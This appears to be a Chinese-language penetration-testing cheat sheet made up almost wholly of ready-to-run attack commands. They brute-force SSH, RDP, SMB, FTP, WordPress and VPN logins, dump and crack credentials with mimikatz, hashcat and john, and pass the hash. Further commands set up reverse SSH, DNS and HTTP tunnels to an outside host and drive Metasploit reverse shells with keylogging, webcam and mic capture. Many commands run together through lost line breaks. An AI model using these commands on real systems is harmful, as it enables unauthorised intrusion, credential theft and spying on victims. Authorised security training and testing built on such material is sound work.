nmap --script brute -Pn <target.com or ip>MySQL爆破 nmap --script=mysql-brute $ip
字典文件
cd /usr/share/wordlists
生成密码字典
crunch 6 6 0123456789ABCDEF -o crunch1.txtcrunch 4 4 -f /usr/share/crunch/charset.lst mixalphacrunch 8 8 -t ,@@^^%%%
Pwdump、Fgdump
pwdump.exe
fgdump.exe
WCE
wce -w
Mimikatz
meterpreter> load mimikatz meterpreter> help mimikatz meterpreter> msv meterpreter> kerberos meterpreter> mimikatz_command -f samdump::hashes meterpreter> mimikatz_command -f sekurlsa::searchPasswordsCewl 生成密码字典 cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
John 密码变形
nano /etc/john/john.confjohn --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txtMedusa 爆破 htaccess 保护的 web 目录
medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10Ncrack 爆破 RDP
ncrack -vv --user offsec -P password-file.txt rdp://$ipHydra
Hydra 爆破 SNMP 密码
hydra -P password-file.txt -v $ip snmpHydra 爆破 FTP 密码(已知帐号)
hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftpHydra 爆破 SSH (已知帐号)
hydra -v -V -u -L users.txt -P passwords.txt -t 1 hydra $ip -s 22 ssh -l <user> -P big_wordlist.txtHydra 爆破 SSH (已知密码)
hydra -v -V -u -L users.txt -p "<known password>"Hydra 爆破 POP3
hydra -l USERNAME -P /usr/share/wordlistsnmap.lstHydra 爆破 SMTP
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -VHydra 爆破 401 登录
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /adminHydra 爆破 RDP
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ipHydra 爆破 SMB 用户
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smbHydra 爆破 Wordpress 后台
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
Password 哈系破解
在线密码破解
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
Hashcat需要安装新的驱动程序,让我的GPU破解在KalilinuxVM上工作,并使用 --force 参数
apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-devapt-get install pocl-opencl-icd创建 HASH 文件: $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/
hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txtWordpress hash: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/
hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt识别哈系
hash-identifier
Sample password hash encoding strings [Openwall Community Wiki]
破解 Linux 哈系
unshadow passwd-file.txt shadow-file.txt unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
HASH 破解
john $ip.pwdumpjohn --wordlist=/usr/share/wordlists/rockyou.txt hashesjohn --rules --wordlist=/usr/share/wordlists/rockyou.txtjohn --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txtJTR 暴力破解
john --format=descrypt hash --show
PtH
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896 pth-winexe -U administrator //$ip cmd
跳板与隧道
端口转发
apt-get install rinetdcat /etc/rinetd.conf bindadress bindport connectaddress connectport w.x.y.z 53 a.b.c.d 80
SSH 本地端口转发: 支持双向通信通道
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
SSH 远程端口转发: 适合在内部不可路由的环境弹出远程 shell
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
SSH 动态端口转发: 创建 SOCKS4 代理,将所有传入的流量通过隧道传入内网任意主机
ssh -D <local proxy port> -p <remote port> <target>
Proxychains - 代理工具
从弹出的机器上创建反向 SSH 隧道 :2222
ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com在 8080 到 2222 上创建一个动态应用程序级端口转发
ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>利用 SSH SOCKS 服务器使用代理链对内网执行 Nmap 扫描
proxychains nmap --top-ports=20 -sT -Pn $ip/24
HTTP 隧道
nc -vvn $ip 8888流量封装 - 绕过深度包检测
http tunnel 服务端
sudo hts -F <server ip addr>:<port of your app> 80 On client side: sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel
端口转发到内网 RDP 服务
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host> plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80 plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000Windows 添加防火墙规则
netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yesnetsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079HTTP 隧道客户端
httptunnel_client.exeVLAN 跳跃
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh
VPN 攻击
识别 VPN 服务器
./udp-protocol-scanner.pl -p ike $ip扫描地址范围内的 VPN 服务器
./udp-protocol-scanner.pl -p ike -f ip.txt使用 IKEForce 枚举或者字典攻击 VPN 服务器
pip install pyipgit clone https://github.com/SpiderLabs/ikeforce.gitIKE VPN 枚举
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic爆破 IKE VPN
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1Useike-scantocapturethePSKhash:
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
Use psk-crack to crack the PSK hash
psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key
PPTP 攻击
默认端口 TCP: 1723
nmap –Pn -sV -p 1723 TARGET(S)PPTPDictionaryAttackthc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
端口转发重定向
plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>DNS 隧道
dnscat2 支持 “download” 、 “upload” 命令.安装:
apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install运行 dnscat2:
ruby ./dnscat2.rb dnscat2> New session established: 1422 dnscat2> session -i 1422目标主机: dnscat --host
MSF
Metasploit
启动数据库服务 systemctl start postgresql
自动启动数据库 systemctl enable postgresql
MSF 语法
启动 MSF msfconsole msfconsole -q
帮助 show -h
Auxiliary 模块 show auxiliary
Show the basic information for a module info
使用模块
use auxiliary/scanner/snmp/snmp_enumuse auxiliary/scanner/http/webdav_scanner use auxiliary/scanner/smb/smb_versionuse auxiliary/scanner/ftp/ftp_login use exploit/windows/pop3/seattlelab_pass查看模块参数
show options设置模块
set RHOSTS 192.168.1.1-254 set THREADS 10执行模块
runexploit搜索模块
search type:auxiliary login
查看数据
显示主机
hosts集成 nmap
db_nmap按端口搜索数据库
services -p 443
Staged、Non-staged
Non-staged payload - 部分阶段的整体 payload
Staged - 分阶段的 payload,用户缓冲区大小有限或规避 AV
Meterpreter
查看系统信息
sysinfo查看帐号 ID
getuid搜索文件
search -f *pass*.txt上传文件
upload /usr/share/windows-binaries/nc.exe c:\Users\Offsec下载文件
download c:\Windows\system32\calc.exe /tmp/calc.exe系统 shell
shell退出
exit
开启侦听
use exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_httpsset LHOST $ipset LPORT 443exploit创建自己的模块
mkdir -p ~/.msf4/modules/exploits/linux/misc cd ~/.msf4/modules/exploits/linux/misc cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb nano crossfire.rb
后渗透测试阶段
download下载文件或目录upload上传文件或目录portfwd端口转发route查看和修改路由表keyscan_start开启键盘记录keyscan_stop停止键盘记录screenshot桌面快照record_mic录音webcam_snap摄像头快照getsystem提权到systemhashdump转储SAM数据库
离开 Meterpreter (不断开会话)
background
最后更新于
这有帮助吗?